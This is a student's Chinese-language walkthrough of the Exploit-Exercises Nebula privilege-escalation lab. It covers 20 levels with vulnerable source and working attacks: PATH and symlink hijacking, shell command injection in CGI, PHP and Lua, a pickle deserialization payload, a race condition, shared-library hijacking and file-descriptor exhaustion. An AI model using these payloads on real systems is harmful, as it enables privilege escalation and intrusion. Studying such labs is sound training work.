免考final linux提權與滲透入門——Exploit-Exercise Nebula學習與實踐
0x0 前言
Exploit-Exercise是一系列學習linux下滲透的虛擬環境,官網是https://exploit-exercises.com/,通過它可以學習提權,漏洞利用,逆向等知識
我們這里嘗試的是Nebula,是一個涵蓋初級、中級挑戰任務的練習環境,一個有20個關卡。涉及到的知識點有:
- SUID文件(SUID files)
- 權限(Permission)
- 競態條件(Race conditions)
- Shell編程(Shell)
- $PATH缺陷($PATH weaknesses)
- 腳本語言缺陷(Scripting language weakness)
- 二進制編譯漏洞(Binary compilation failures)
網上有詳細的Nebula通關教程,我希望通過這次實驗,提升自己linux下滲透的本領,掌握一些linux本地和遠程攻擊的基本知識。
0x1 通關流程
我參照網上給出的教程,來嘗試完成Nebula的20個關卡。有興趣的同學可以找我拷貝Nebula的鏡像。i春秋上也有Nebula的在線環境練習。
每一個關卡level對應一個賬號:levelXX/levelXX(用戶名和口令是一樣的)比如第5關的賬號就是 level05/level05。登錄之后,進入/home/flagXX的目錄下,與該關卡有關的東西都在這里。
官網中的Nebula頁面中有每道題的程序源碼。
每一關提權成功之后,需要執行/bin/getflag/
,如果提權是成功的,會提示“You have successfully executed getflag on a target account”,否則提示“getflag is executing on a non-flag accont, this doesn't count”
level00——找特權程序
本關卡需要找到一個以“flag00”賬號運行的可執行程序。關鍵是對find命令和uid知識的掌握。
我們先看看flag00的UID是什么,輸入cat /etc/passwd | grep flag00
flag00的UID和GID都是999。
接着通過find命令從根目錄開始查找,輸入find / -uid 999 2> /dev/null
(我們把標准錯誤輸出扔到/dev/null黑洞里去)
無論是/bin/.../flag00,還是/rofs/bin/.../flag00都符合要求,任意執行一個即可。接着運行/bin/getflag成功通關。
level01——環境變量
本題開始,需要我們對源碼進行分析了,官網提供的源代碼如下:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
這就是我們flag01程序的源代碼。這里的system調用,執行了env程序。
env用來顯示環境變量,以及在定義的環境中執行程序。env需要根據環境變量PATH來查找程序的路徑。
即便是system中的參數是“硬編碼”的,我們也有辦法執行任意文件。
我們看到flag01程序的權限就是flag01
,我們的目標就是通過它來執行/bin/getflag
這一系列手段非常有參考意義。/tmp目錄對所有用戶都有完整的權限。
我們首先在/tmp下建立一個指向/bin/getflag的軟鏈接echo,然后將/tmp目錄放到環境變量PATH的最前面。
這樣,env程序在查找echo的時候會首先找到/tmp下的“偽裝”echo並執行。
通過這樣的手法,可以執行其他的可執行程序。
level02——執行任意文件
老樣子,從代碼中發現漏洞,本關卡的程序源碼如下:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
asprintf是GNU擴展的C函數,它將格式化字符串放到buffer中。getenv函數獲取環境變量USER的值。
由於環境變量USER是可以自己設置的,我們把USER設置為;/bin/getflag
這樣,執行了echo命令后,就會執行/bing/getflag,達到level02的要求。
level03——計划任務
這個關卡有一個計划任務,每隔2分鍾執行/home/flag03目錄下的writable.sh。
我們可以看到writeable.sh的內容。
這個腳本會自動執行writable.d里面的所有文件,接着有刪除這個腳本。
而計划任務crontab是flag03用戶創建的,我們可以在writable.d中創建腳本來完成操作。
我們在writable.d的目錄下創建一個run腳本。
/bin/getflag > /tmp/20155110wangyifan
這個腳本執行/bin/getflag,並把結果重定向到/tmp/20155110wangyifan文件中。
等待兩分鍾,我們在/tmp目錄下發現20155110wangyifan這個文件。
也就是說crontable自動執行了/bin/getflag程序
level04——越權獲得token
這個關卡需要我們獲取token文本文件的內容。目前我們的權限是讀取不了的。
除了root權限外,只要flag04用戶可以對它進行讀寫操作。這里有一個flag04程序,我們需要利用這個程序的漏洞,來獲得token。
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
char buf[1024];
int fd, rc;
if(argc == 1) {
printf("%s [file to read]\n", argv[0]);
exit(EXIT_FAILURE);
}
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
if(fd == -1) {
err(EXIT_FAILURE, "Unable to open %s", argv[1]);
}
rc = read(fd, buf, sizeof(buf));
if(rc == -1) {
err(EXIT_FAILURE, "Unable to read fd %d", fd);
}
write(1, buf, rc);
}
注意這段代碼:
if(strstr(argv[1], "token") != NULL) {
printf("You may not access '%s'\n", argv[1]);
exit(EXIT_FAILURE);
}
fd = open(argv[1], O_RDONLY);
flag04會把命令行參數作為文件名並打開,但是文件名不能包含“token”字符串,否則會退出程序。
還是祭出我們的軟鏈接大法,迷惑flag04程序。
這就是flag04賬號的密碼,登錄flag04賬號執行getflag,完成這一關的任務
level05——ssh密鑰竊取
在這一關,我們需要找到一個弱權限的目錄,然后通過它來提權。
我們需要關注的是.backup和.ssh這兩個目錄。
.ssh目錄我們進不去。只能先在.backup目錄里面探索一下。
我們把backup-19072011.tgz解壓到/tmp目錄下(因為權限不過無法在當前目錄解壓)
原來是ssh的公鑰和私鑰!直接把它copy到/home/level05然后ssh登錄flag05的賬號就能完成此關卡了!
ssh登錄后執行getflag,完成這關。
level06——linux登錄密碼
在本關卡中,flag06賬號的認字憑證是存儲在/etc/passwd中的(當然現在的linux都把密碼放在/etc/shadow中,比/etc/passwd安全一些)
我們先讀取flag06的密碼散列值
然后我們就要祭出Kali,用john這個口令破解工具弄出flag06賬號的密碼
so easy!密碼就是hello,直接登錄flag06的賬號,可以通過此關。
level07——Perl腳本漏洞
在這關中,我們的攻擊對象是一個perl編寫的cgi程序。
訓練環境的IP配置為192.168.56.102
#!/usr/bin/perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub ping {
$host = $_[0];
print("<html><head><title>Ping results</title></head><body><pre>");
@output = `ping -c 3 $host 2>&1`;
foreach $line (@output) { print "$line"; }
print("</pre></body></html>");
}
# check if Host set. if not, display normal page, etc
ping(param("Host"));
配置文件thttpd.conf顯示開放的端口號是7007。
這段perl腳本的功能是調用外部的ping命令去ping指定的IP。接收的參數名為"Host"
@output = `ping -c 3 $host 2>&1`;
這段代碼調用了外部命令,我們可以來一次 典型的命令注入
首先確認cgi程序的權限,在瀏覽器中輸入
192.168.56.102:7007/index.cgi?Host=127.0.0.1%3Bwhoami
我們看到CGI程序就是以flag07的用戶權限運行的。
我們直接運行目標程序getflag即可
192.168.56.102:7007/index.cgi?Host=127.0.0.1%3B/bin/getflag
我們通過 命令注入成功通關。
level08——TCP數據包分析
這個關卡中我們需要分析一個capture.pcap的數據包。
我們把訓練環境的文件弄到本地來。然后用wireshark分析一下。
我們使用wireshark的“分析——追蹤TCP流功能”
這是一個交互式登錄的抓包。我們使用 Hex dump方式看password字段。
我們對照ascii表,7F是del刪除,也就是說用戶輸入backdoor
后,又刪除了三個字符,接着輸入00Rm8
,又刪除了一個字符,最后輸入ate
並敲下回車。
所以,最后的password就是backd00Rmate
我們用這個password登陸flag08賬號,順利通關。
level09——攻擊php代碼
我們在這一關卡需要攻擊一個有漏洞的php代碼。
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
這段代碼中的正則表達式會將[email xxx@xxx.xxx]
中的“.”替換成“dot”,將“@”替換成“AT”,也就是變成xxx AT xxx dot xxx
我們注意到這一句代碼:
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
preg_replace第一參數使用了/e模式,preg_replace的第二個參數會作為代碼執行。
我們將用php中的system函數執行外部的shell命令
將下面的內容寫到文件/tmp/wyf中去
[email "{${system(getflag)}}"]
接着執行flag09程序以后,getflag程序也被調用,我們成功通關
level10——競態條件漏洞
在本關卡的/home/flag10目錄下有兩個文件:flag10和token。
官網提示,這里是一個文件訪問的競態條件漏洞,去獲取token的內容。
我們先看看完整的源代碼:
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int main(int argc, char **argv)
{
char *file;
char *host;
if(argc < 3) {
printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
exit(1);
}
file = argv[1];
host = argv[2];
if(access(argv[1], R_OK) == 0) {
int fd;
int ffd;
int rc;
struct sockaddr_in sin;
char buffer[4096];
printf("Connecting to %s:18211 .. ", host); fflush(stdout);
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(struct sockaddr_in));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(host);
sin.sin_port = htons(18211);
if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
printf("Unable to connect to host %s\n", host);
exit(EXIT_FAILURE);
}
#define HITHERE ".oO Oo.\n"
if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
printf("Unable to write banner to host %s\n", host);
exit(EXIT_FAILURE);
}
#undef HITHERE
printf("Connected!\nSending file .. "); fflush(stdout);
ffd = open(file, O_RDONLY);
if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
write(fd, buffer, rc);
printf("wrote file!\n");
} else {
printf("You don't have access to %s\n", file);
}
}
注意access函數,當前用戶訪問某個文件時,返回值為0,才會有后面這一大段代碼。
if(access(argv[1], R_OK) == 0) {
....
} else {
printf("You don't have access to %s\n", file);
}
如果沒有訪問權限,就會輸出"You don't have access to <文件名>"
這段代碼會建立一個socket通訊,並在18211端口上進行監聽,然后打開指定的文件並把內容發送到通訊連接中。
我們的思路是這樣的:
- 在本地用netcat監聽端口
- 讓flag10去access一個當前用戶有權限訪問的文件/tmp/fake_token
- 刪掉剛才的/tmp/fake_token,再建立一個指向/home/flag10/token的軟鏈接
我們先完成第一步,netcat監聽
然后再另一個終端tty2下建立文件/tmp/fake_token
我們再寫一個不斷建立軟鏈接的bash腳本
執行這個腳本,編寫下面的腳本。
接着運行腳本,我們在看看nc收到的結果:
這就是flag10的登錄密碼,登錄flag10賬號后,執行getflag即可。
level11——任意文件可執行漏洞
在這一關卡,我們需要攻擊一個flag11的可執行程序。它的源代碼如下:
官網說此關卡有兩種方法可以通過
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv("TEMP");
pid = getpid();
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
}
這段代碼比較長,我們直接定位有問題的代碼段
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
這里的buffer作為system的參數,是可控制的,但是這里的buffer的內容有點復雜,它在之前經過了“異或”加密。
非常簡單,我們對要執行的命令在進行一次異或,就可以還原了。
我們的攻擊代碼如下:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
int length = 1024;
// 要執行的命令
char *cmd = "getflag";
char buf[1024];
int key = length & 0xff;
int i = 0;
// 把“ getflag” 字符串拷貝到 buf 里,其余空間空字節填充
strncpy(buf,cmd,1024);
for(; i<length; i++)
{
buf[i] ^= key;
// 一定要 buf[i]^key 才可得到正確的 key ,上面那句代碼才可正確執行
key = key - (buf[i] ^ key);
}
// 輸出至標准輸出
puts("Content-Length: 1024");
fwrite(buf,1,length,stdout);
return 0;
}
注意代碼里面還設置了環境變量TEMP
tmp = getenv("TEMP");
接着在系統中輸入如下命令
$ export TEMP=/tmp
$ gcc -o /tmp/attack /tmp/attack.c
$ cd /home/flag11
$ /tmp/attack | ./flag11
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account
我們成功通關此關卡。
level12——攻擊Lua腳本
本關卡給出了一個lua寫的socket程序,雖然我不會lua語言,但是通過猜測還是能看懂個大概的。
題目描述是一個監聽在50001端口的backdoor。
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))
function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)
if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end
end
client:close()
end
注意到這條語句
prog = io.popen("echo "..password.."| sha1sum", "r")
這個地方存在明顯的 命令注入
先telnet 127.0.0.1 50001
,構造payload
;/bin/getflag > /tmp/wyf5110
我們成功執行了getflag程序,通過本關。
level13——簡單的調試
我們在這一關需要破解下面的程序。
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#define FAKEUID 1000
int main(int argc, char **argv, char **envp)
{
int c;
char token[256];
if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
printf("The system administrators will be notified of this violation\n");
exit(EXIT_FAILURE);
}
// snip, sorry :)
printf("your token is %s\n", token);
}
也就是說如果UID不是1000的話,我們得不到token的值。
現在,我們直接使用gdb調試這個程序(當然你也可以直接用IDA靜態反匯編)
找到getuid函數的位置以后,在下一條指令的地方設置斷點。然后運行。
函數的返回值在%eax寄存器中,我們發現這個uid的值是1014。
我們直接設置%eax寄存器的值為1000即可。
我們看到了token的值為b705702b-76a8-42b0-8844-3adabbe5ac58
用它登錄flag13賬號,執行getflag程序通過此關。
level14——破解加密程序
在這關,token文件是被flag14程序加密過的,我們需要解密token。
我們看看這個程序是怎么加密的。
顯然,這個加密算法非常簡單,第0位的字符加0,第1位的字符加1,...,第i位的字符加i,以此類推。
我們直接編寫解密程序即可。
//dec.c
#include <stdio.h>
#include <string.h>
int main()
{
char buf[1000];
scanf("%s", buf);
int i;
for (i = 0; i < strlen(buf); i++) {
buf[i] -= i;
}
puts(buf);
return 0;
}
我們成功得到flag,然后用它登錄flag14賬號執行getflag即可。
level15——linx下共享庫劫持
官網直接給出提示,用strace工具追蹤so使用情況。
提示沒有找到libc.so.6,既然沒有,我們就自己寫一個讓它找到。
建立目錄/var/tmp/flag15,並編寫如下的代碼
#include <stdio.h>
void __attribute__((constructor)) init()
{
system("/bin/getflag");
}
提示symbol __cxa_finalize,我再定義一個__cxa_finalize函數。
#include <stdio.h>
void __cxa_finalize(void)
{
return;
}
void __attribute__((constructor)) init()
{
system();
}
我們還要用匯編語言自己實現一個system函數。
.section .text
.globl system
system:
mov $getflag, %ebx
xor %edx, %edx # 異或清空 edx ,作為空參數
push %edx
push %ebx
mov %esp, %ecx
mov $11, %eax # 調用 execve 中斷
int $0x80
.section .data
getflag: .ascii "/bin/getflag\0"
最后,我們成功劫持了共享庫的調用。
這一關的技術含量非常高,我們目前還沒有完全理解。
level16——再次攻擊perl語言CGI程序
在這一關中,我們繼續攻擊一個perl語言的CGI程序
#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);
if($pw =~ $password) {
return 1;
}
}
return 0;
}
sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}
htmlz(login(param("username"), param("password")));
這段代碼的問題就在於它有調用了外部shell命令。
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
但是,這里對用戶名做了限制,不僅將其轉換為大寫,而且去掉第一個空格之后的所有內容。
我們先建立這樣一個腳本/tmp/wyf
構造payload為
"</DEV/NULL;CMD=/TMP/WYF;${CMD,,};#
為了方便,我們直接寫一個表單提交數據。
我們這是可以看到,getflag程序已經執行了。
這又是一個繞過正則表達式的 命令注入
level17——python的pickle格式漏洞
我們要分析一個在10007端口監聽的python腳本。
#!/usr/bin/python
import os
import pickle
import time
import socket
import signal
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
for i in obj:
clnt.send("why did you send me " + i + "?\n")
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)
while True:
clnt, addr = skt.accept()
if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)
由於我對python不熟悉,這一關的原理也沒弄明白。
這應該是一個反序列化的漏洞,先按照教程完成這一關卡吧。
構造下面的payload
cos
system
(S'getflag>/tmp/result'
tR.
level18——資源未釋放漏洞
這關非常特殊,有三種解決方法,最簡單的是耗盡系統資源。
當然也有格式化字符串漏洞,棧溢出漏洞。
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>
struct {
FILE *debugfile;
int verbose;
int loggedin;
} globals;
#define dprintf(...) if(globals.debugfile) \
fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
fprintf(globals.debugfile, __VA_ARGS__)
#define PWFILE "/home/flag18/password"
void login(char *pw)
{
FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
fclose(fp);
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n",
fp == NULL ? "out" : "");
globals.loggedin = 1;
}
void notsupported(char *what)
{
char *buffer = NULL;
asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
dprintf(what);
free(buffer);
}
void setuser(char *user)
{
char msg[128];
sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
printf("%s\n", msg);
}
int main(int argc, char **argv, char **envp)
{
char c;
while((c = getopt(argc, argv, "d:v")) != -1) {
switch(c) {
case 'd':
globals.debugfile = fopen(optarg, "w+");
if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
setvbuf(globals.debugfile, NULL, _IONBF, 0);
break;
case 'v':
globals.verbose++;
break;
}
}
dprintf("Starting up. Verbose level = %d\n", globals.verbose);
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
while(1) {
char line[256];
char *p, *q;
q = fgets(line, sizeof(line)-1, stdin);
if(q == NULL) break;
p = strchr(line, '\n'); if(p) *p = 0;
p = strchr(line, '\r'); if(p) *p = 0;
dvprintf(2, "got [%s] as input\n", line);
if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to login\n");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
}
return 0;
}
linux默認只能打開1024個文件描述符,但是stdin,stdout,stderr已經各占用了一個。最終供程序使用的只有1021個。
我們需要做的就是耗盡程序的資源,先輸入
for i in {0..1020}; do echo 'login wyf5110' >> /tmp/login; done;
將1021個login wyf5110
放到/tmp/login中。
再執行
cat /tmp/login | /home/flag18/flag18 -d /tmp/debug
查看/tmp/debug的內容
根據輸出內容,我們知道登錄成功了。應該可以執行shell命令。
我們追加一個shell,然后再執行flag18程序。
看到這個結果,是因為文件描述符用盡了。
我們看源碼中的這一部分
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
}
也就是說添加closelog可以釋放一個文件描述符。我們再次修改/tmp/login
然后執行
cat login | /home/flag18/flag18 --init-file -d debug
但是出現了下面的問題。
我們可以這么操作
既然找不到Starting命令,我們就攻擊環境變量,將Starting指向惡意腳本
再次運行程序,查看/tmp/output文件,我們可以知道/bin/getflag已經被執行了
level19——突破進程
終於來到最后一關了,這一關要求我們攻破下面的程序。
程序的源代碼如下:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;
/* Get the parent's /proc entry, so we can verify its user id */
snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
/* stat() it */
if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}
/* check the owner id */
if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */
execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}
printf("You are unauthorized to run this program\n");
}
這段程序的邏輯是這樣的:
- 先通過getppid()函數得到父進程pid號
- 根據pid號找到/proc下當前pid號的目錄
- 如果屬於root,就執行shell
我們需要利用“孤兒進程”的特點來突破這段程序
孤兒進程的父進程init的uid絕對是0
編寫攻擊代碼如下
//attack.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
pid_t pid;
pid = fork();
char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19_output",NULL};
if(pid == 0)
{
execve("/home/flag19/flag19",argvs,NULL);
} else if(pid > 0) {
exit(0);
}
return 0;
}
這段攻擊代碼,利用fork出來的子進程執行getflag
程序,並將結果重定向到/tmp/flag19_output文件中。
至此,我們成功通關nebula的全部20個關卡!
心得與體會
實話實說,exploit-exercise nebula的這20個練習讓我感受到了自己 離技術的門檻還很遙遠
其中的一系列linux提權和任意文件執行的技巧令我印象深刻——軟鏈接大法,python反序列化漏洞,CGI程序的命令注入,共享庫劫持,gdb調試……
很多練習以我的能力是不可能做出來的,在參考了網上的教程以后,我能夠 大體感受到其中的 美妙之處
之前的實驗,我們只是淺嘗輒止地使用一些工具而已,我們對工具的應用也是浮於表面的,盡管能熟練使用工具並玩到極致的話,也可以弄出花樣來。
這次的final讓我徹底明白,只有對計算機足夠精通,才能真正主宰一切,而這條道路對我們來說非常漫長。
不過,能夠在本學期的課程中對計算機安全技術初窺門徑,我已經很滿足了。